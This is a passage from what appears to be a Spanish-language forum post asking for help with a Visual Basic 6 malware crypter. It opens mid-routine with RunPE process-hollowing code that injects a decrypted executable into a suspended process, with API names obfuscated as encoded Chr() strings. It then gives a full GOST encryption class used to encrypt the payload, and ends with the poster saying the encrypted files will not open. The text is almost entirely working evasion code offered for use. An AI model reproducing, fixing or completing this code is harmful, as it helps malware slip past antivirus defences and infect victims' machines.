RtlMoveMemory JIJHOR, BHIL(UGXI.e_lfanew + 248 + 40 * CWL), Len(JIJHOR)
WriteProcessMemory MZLVDG.hProcess, ByVal FUQWG.OptionalHeader.ImageBase + JIJHOR.VirtualAddress, BHIL(JIJHOR.PointerToRawData), JIJHOR.SizeOfRawData, 0
Next CWL

LBGKEY.ContextFlags = CONTEXT_FULL
NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(18) & Chr(40) & Chr(63) & Chr(30) & Chr(38) & Chr(48) & Chr(54) & Chr(54) & Chr(34) & Chr(13) & Chr(34) & Chr(45) & Chr(59) & Chr(41) & Chr(62) & Chr(51), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread, VarPtr(LBGKEY)
WriteProcessMemory MZLVDG.hProcess, ByVal LBGKEY.Ebx + 8, FUQWG.OptionalHeader.ImageBase, 4, 0
LBGKEY.Eax = FUQWG.OptionalHeader.ImageBase + FUQWG.OptionalHeader.AddressOfEntryPoint
NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(6) & Chr(40) & Chr(63) & Chr(30) & Chr(38) & Chr(48) & Chr(54) & Chr(54) & Chr(34) & Chr(13) & Chr(34) & Chr(45) & Chr(59) & Chr(41) & Chr(62) & Chr(51), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread, VarPtr(LBGKEY)
NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(7) & Chr(40) & Chr(56) & Chr(63) & Chr(35) & Chr(39) & Chr(7) & Chr(63) & Chr(52) & Chr(43) & Chr(44) & Chr(39), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread
End Sub

MODULO DE CLASE (clsGost) DEL STUB

Código (vb) [Seleccionar] Expandir


'Gost Encryption/Decryption Class
'------------------------------------
'
'Information concerning the Gost
'algorithm can be found at:
'http://www.jetico.sci.fi/index.htm#/gost.htm
'
'(c) 2000, Fredrik Qvarfort
'
Option Explicit

Event Progress(Percent As Long)

Private m_KeyValue As String

Private K(1 To 8) As Long
Private k87(0 To 255) As Byte
Private k65(0 To 255) As Byte
Private k43(0 To 255) As Byte
Private k21(0 To 255) As Byte
Private sBox(0 To 7, 0 To 255) As Byte

'Allow running more optimized code
'while in compiled mode and still
'be able to run the code in the IDE
Private m_RunningCompiled As Boolean

Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Sub addLongs Lib "myDLL" (ByRef number1 As Long, ByVal number2 As Long)

Private Static Sub DecryptBlock(LeftWord As Long, RightWord As Long)

  Dim i As Long
   
  RightWord = RightWord Xor F(LeftWord, K(1))
  LeftWord = LeftWord Xor F(RightWord, K(2))
  RightWord = RightWord Xor F(LeftWord, K(3))
  LeftWord = LeftWord Xor F(RightWord, K(4))
  RightWord = RightWord Xor F(LeftWord, K(5))
  LeftWord = LeftWord Xor F(RightWord, K(6))
  RightWord = RightWord Xor F(LeftWord, K(7))
  LeftWord = LeftWord Xor F(RightWord, K(8))
  For i = 1 To 3
    RightWord = RightWord Xor F(LeftWord, K(8))
    LeftWord = LeftWord Xor F(RightWord, K(7))
    RightWord = RightWord Xor F(LeftWord, K(6))
    LeftWord = LeftWord Xor F(RightWord, K(5))
    RightWord = RightWord Xor F(LeftWord, K(4))
    LeftWord = LeftWord Xor F(RightWord, K(3))
    RightWord = RightWord Xor F(LeftWord, K(2))
    LeftWord = LeftWord Xor F(RightWord, K(1))
  Next

End Sub
Private Static Sub EncryptBlock(LeftWord As Long, RightWord As Long)

  Dim i As Long
   
  For i = 1 To 3
    RightWord = RightWord Xor F(LeftWord, K(1))
    LeftWord = LeftWord Xor F(RightWord, K(2))
    RightWord = RightWord Xor F(LeftWord, K(3))
    LeftWord = LeftWord Xor F(RightWord, K(4))
    RightWord = RightWord Xor F(LeftWord, K(5))
    LeftWord = LeftWord Xor F(RightWord, K(6))
    RightWord = RightWord Xor F(LeftWord, K(7))
    LeftWord = LeftWord Xor F(RightWord, K(8))
  Next
  RightWord = RightWord Xor F(LeftWord, K(8))
  LeftWord = LeftWord Xor F(RightWord, K(7))
  RightWord = RightWord Xor F(LeftWord, K(6))
  LeftWord = LeftWord Xor F(RightWord, K(5))
  RightWord = RightWord Xor F(LeftWord, K(4))
  LeftWord = LeftWord Xor F(RightWord, K(3))
  RightWord = RightWord Xor F(LeftWord, K(2))
  LeftWord = LeftWord Xor F(RightWord, K(1))

End Sub

Public Sub EncryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
   
  'Make sure the source file do exist
  If (Not FileExist(SourceFile)) Then
    Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
    Exit Sub
  End If
   
  'Open the source file and read the content
  'into a bytearray to pass onto encryption
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
   
  'Encrypt the bytearray
  Call EncryptByte(ByteArray(), Key)

  'If the destination file already exist we need
  'to delete it since opening it for binary use
  'will preserve it if it already exist
  If (FileExist(DestFile)) Then Kill DestFile
   
  'Store the encrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub
Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
   
  'Make sure the source file do exist
  If (Not FileExist(SourceFile)) Then
    Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
    Exit Sub
  End If
   
  'Open the source file and read the content
  'into a bytearray to decrypt
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
   
  'Decrypt the bytearray
  Call DecryptByte(ByteArray(), Key)

  'If the destination file already exist we need
  'to delete it since opening it for binary use
  'will preserve it if it already exist
  If (FileExist(DestFile)) Then Kill DestFile

  'Store the decrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub

Private Static Function F(R As Long, K As Long) As Long

  Dim x As Long
  Dim xb(0 To 3) As Byte
  Dim xx(0 To 3) As Byte
  Dim a As Byte, b As Byte, C As Byte, D As Byte
   
  If (m_RunningCompiled) Then
    x = R + K
  Else
    x = UnsignedAdd(R, K)
  End If
   
  'Extract byte sequence
  D = x And &HFF
  x = x \ 256
  C = x And &HFF
  x = x \ 256
  b = x And &HFF
  x = x \ 256
  a = x And &HFF
   
  'Key-dependant substutions
  xb(0) = k21(a)
  xb(1) = k43(b)
  xb(2) = k65(C)
  xb(3) = k87(D)
   
  'LeftShift 11 bits
  xx(0) = ((xb(3) And 31) * 8) Or ((xb(2) And 224) \ 32)
  xx(1) = ((xb(0) And 31) * 8) Or ((xb(3) And 224) \ 32)
  xx(2) = ((xb(1) And 31) * 8) Or ((xb(0) And 224) \ 32)
  xx(3) = ((xb(2) And 31) * 8) Or ((xb(1) And 224) \ 32)
  Call CopyMem(F, xx(0), 4)

End Function
Public Function DecryptString(Text As String, Optional Key As String) As String

  Dim ByteArray() As Byte
   
  'Convert the text into a byte array
  ByteArray() = StrConv(Text, vbFromUnicode)
   
  'Encrypt the byte array
  Call DecryptByte(ByteArray(), Key)
   
  'Convert the byte array back to a string
  DecryptString = StrConv(ByteArray(), vbUnicode)

End Function

Public Function EncryptString(Text As String, Optional Key As String) As String

  Dim ByteArray() As Byte
   
  'Convert the text into a byte array
  ByteArray() = StrConv(Text, vbFromUnicode)
   
  'Encrypt the byte array
  Call EncryptByte(ByteArray(), Key)
   
  'Convert the byte array back to a string
  EncryptString = StrConv(ByteArray(), vbUnicode)

End Function
Private Static Function lBSL(ByVal lInput As Long, bShiftBits As Byte) As Long
     
  lBSL = (lInput And (2 ^ (31 - bShiftBits) - 1)) * 2 ^ bShiftBits
  If (lInput And 2 ^ (31 - bShiftBits)) = 2 ^ (31 - bShiftBits) Then lBSL = (lBSL Or &H80000000)

End Function

Private Static Function lBSR(ByVal lInput As Long, bShiftBits As Byte) As Long
     
  If bShiftBits = 31 Then
    If lInput < 0 Then lBSR = &HFFFFFFFF Else lBSR = 0
  Else
    lBSR = (lInput And Not (2 ^ bShiftBits - 1)) \ 2 ^ bShiftBits
  End If

End Function


Public Function EncryptByte(ByteArray() As Byte, Optional Key As String) As String

  Dim Offset As Long
  Dim OrigLen As Long
  Dim LeftWord As Long
  Dim RightWord As Long
  Dim CipherLen As Long
  Dim CipherLeft As Long
  Dim CipherRight As Long
  Dim CurrPercent As Long
  Dim NextPercent As Long
   
  'Set the key if one was passed to the function
  If (Len(Key) > 0) Then Me.Key = Key
   
  'Get the length of the plaintext
  OrigLen = UBound(ByteArray) + 1
   
  'First we add 12 bytes (4 bytes for the
  'length and 8 bytes for the seed values
  'for the CBC routine), and the ciphertext
  'must be a multiple of 8 bytes
  CipherLen = OrigLen + 12
  If (CipherLen Mod 8 <> 0) Then
    CipherLen = CipherLen + 8 - (CipherLen Mod 8)
  End If
  ReDim Preserve ByteArray(CipherLen - 1)
  Call CopyMem(ByteArray(12), ByteArray(0), OrigLen)
   
  'Store the length descriptor in bytes [9-12]
  Call CopyMem(ByteArray(8), OrigLen, 4)
   
  'Store a block of random data in bytes [1-8],
  'these work as seed values for the CBC routine
  'and is used to produce different ciphertext
  'even when encrypting the same data with the
  'same key)
  Call Randomize
  Call CopyMem(ByteArray(0), CLng(2147483647 * Rnd), 4)
  Call CopyMem(ByteArray(4), CLng(2147483647 * Rnd), 4)
   
  'Encrypt the data
  For Offset = 0 To (CipherLen - 1) Step 8
    'Get the next block of plaintext
    Call GetWord(LeftWord, ByteArray(), Offset)
    Call GetWord(RightWord, ByteArray(), Offset + 4)
     
    'XOR the plaintext with the previous
    'ciphertext (CBC, Cipher-Block Chaining)
    LeftWord = LeftWord Xor CipherLeft
    RightWord = RightWord Xor CipherRight
     
    'Encrypt the block
    Call EncryptBlock(LeftWord, RightWord)
     
    'Store the block
    Call PutWord(LeftWord, ByteArray(), Offset)
    Call PutWord(RightWord, ByteArray(), Offset + 4)
     
    'Store the cipherblocks (for CBC)
    CipherLeft = LeftWord
    CipherRight = RightWord
     
    'Update the progress if neccessary
    If (Offset >= NextPercent) Then
      CurrPercent = Int((Offset / CipherLen) * 100)
      NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
      RaiseEvent Progress(CurrPercent)
    End If
  Next
   
  'Make sure we return a 100% progress
  If (CurrPercent <> 100) Then RaiseEvent Progress(100)

End Function
Public Function DecryptByte(ByteArray() As Byte, Optional Key As String) As String

  Dim Offset As Long
  Dim OrigLen As Long
  Dim LeftWord As Long
  Dim RightWord As Long
  Dim CipherLen As Long
  Dim CipherLeft As Long
  Dim CipherRight As Long
  Dim CurrPercent As Long
  Dim NextPercent As Long
   
  'Set the key if one was passed to the function
  If (Len(Key) > 0) Then Me.Key = Key
   
  'Get the size of the ciphertext
  CipherLen = UBound(ByteArray) + 1
   
  'Decrypt the data in 64-bit blocks
  For Offset = 0 To (CipherLen - 1) Step 8
    'Get the next block
    Call GetWord(LeftWord, ByteArray(), Offset)
    Call GetWord(RightWord, ByteArray(), Offset + 4)
     
    'Decrypt the block
    Call DecryptBlock(RightWord, LeftWord)
     
    'XOR with the previous cipherblock
    LeftWord = LeftWord Xor CipherLeft
    RightWord = RightWord Xor CipherRight
     
    'Store the current ciphertext to use
    'XOR with the next block plaintext
    Call GetWord(CipherLeft, ByteArray(), Offset)
    Call GetWord(CipherRight, ByteArray(), Offset + 4)
     
    'Store the encrypted block
    Call PutWord(LeftWord, ByteArray(), Offset)
    Call PutWord(RightWord, ByteArray(), Offset + 4)
     
    'Update the progress if neccessary
    If (Offset >= NextPercent) Then
      CurrPercent = Int((Offset / CipherLen) * 100)
      NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
      RaiseEvent Progress(CurrPercent)
    End If
  Next

  'Get the size of the original array
  Call CopyMem(OrigLen, ByteArray(8), 4)
   
  'Make sure OrigLen is a reasonable value,
  'if we used the wrong key the next couple
  'of statements could be dangerous (GPF)
  If (CipherLen - OrigLen > 19) Or (CipherLen - OrigLen < 12) Then
    Call Err.Raise(vbObjectError, , "Incorrect size descriptor in Gost decryption")
  End If
   
  'Resize the bytearray to hold only the plaintext
  'and not the extra information added by the
  'encryption routine
  Call CopyMem(ByteArray(0), ByteArray(12), OrigLen)
  ReDim Preserve ByteArray(OrigLen - 1)

  'Make sure we return a 100% progress
  If (CurrPercent <> 100) Then RaiseEvent Progress(100)

End Function

Public Property Let Key(New_Value As String)

  Dim a As Long
  Dim Key() As Byte
  Dim KeyLen As Long
  Dim ByteArray() As Byte
   
  'Do nothing if no change was made
  If (m_KeyValue = New_Value) Then Exit Property
   
  'Convert the key into a bytearray
  KeyLen = Len(New_Value)
  Key() = StrConv(New_Value, vbFromUnicode)
   
  'Create a 32-byte key
  ReDim ByteArray(0 To 31)
  For a = 0 To 31
    ByteArray(a) = Key(a Mod KeyLen)
  Next
   
  'Create the key
  Call CopyMem(K(1), ByteArray(0), 32)
   
  'Show this key is buffered
  m_KeyValue = New_Value
   
End Property
Private Sub Class_Initialize()

  Dim a As Long
  Dim b As Long
  Dim C As Long
  Dim LeftWord As Long
  Dim S(0 To 7) As Variant
   
  'We need to check if we are running in compiled
  '(EXE) mode or in the IDE, this will allow us to
  'use optimized code with unsigned integers in
  'compiled mode without any overflow errors when
  'running the code in the IDE
  On Local Error Resume Next
  m_RunningCompiled = ((2147483647 + 1) < 0)
   
  'Initialize s-boxes
  S(0) = Array(6, 5, 1, 7, 14, 0, 4, 10, 11, 9, 3, 13, 8, 12, 2, 15)
  S(1) = Array(14, 13, 9, 0, 8, 10, 12, 4, 7, 15, 6, 11, 3, 1, 5, 2)
  S(2) = Array(6, 5, 1, 7, 2, 4, 10, 0, 11, 13, 14, 3, 8, 12, 15, 9)
  S(3) = Array(8, 7, 3, 9, 6, 4, 14, 5, 2, 13, 0, 12, 1, 11, 10, 15)
  S(4) = Array(10, 9, 6, 11, 5, 1, 8, 4, 0, 13, 7, 2, 14, 3, 15, 12)
  S(5) = Array(5, 3, 0, 6, 11, 13, 4, 14, 10, 7, 1, 12, 2, 8, 15, 9)
  S(6) = Array(2, 1, 12, 3, 11, 13, 15, 7, 10, 6, 9, 14, 0, 8, 4, 5)
  S(7) = Array(6, 5, 1, 7, 8, 9, 4, 2, 15, 3, 13, 12, 10, 14, 11, 0)

  'Convert the variants to a 2-dimensional array
  For a = 0 To 15
    For b = 0 To 7
      sBox(b, a) = S(b)(a)
    Next
  Next
   
  'Calculate the substitutions
  For a = 0 To 255
    k87(a) = lBSL(CLng(sBox(7, lBSR(a, 4))), 4) Or sBox(6, a And 15)
    k65(a) = lBSL(CLng(sBox(5, lBSR(a, 4))), 4) Or sBox(4, a And 15)
    k43(a) = lBSL(CLng(sBox(3, lBSR(a, 4))), 4) Or sBox(2, a And 15)
    k21(a) = lBSL(CLng(sBox(1, lBSR(a, 4))), 4) Or sBox(0, a And 15)
  Next

End Sub



Parece que cifra el archivo pero no puedo abrir ningún archivo cifrado no me deja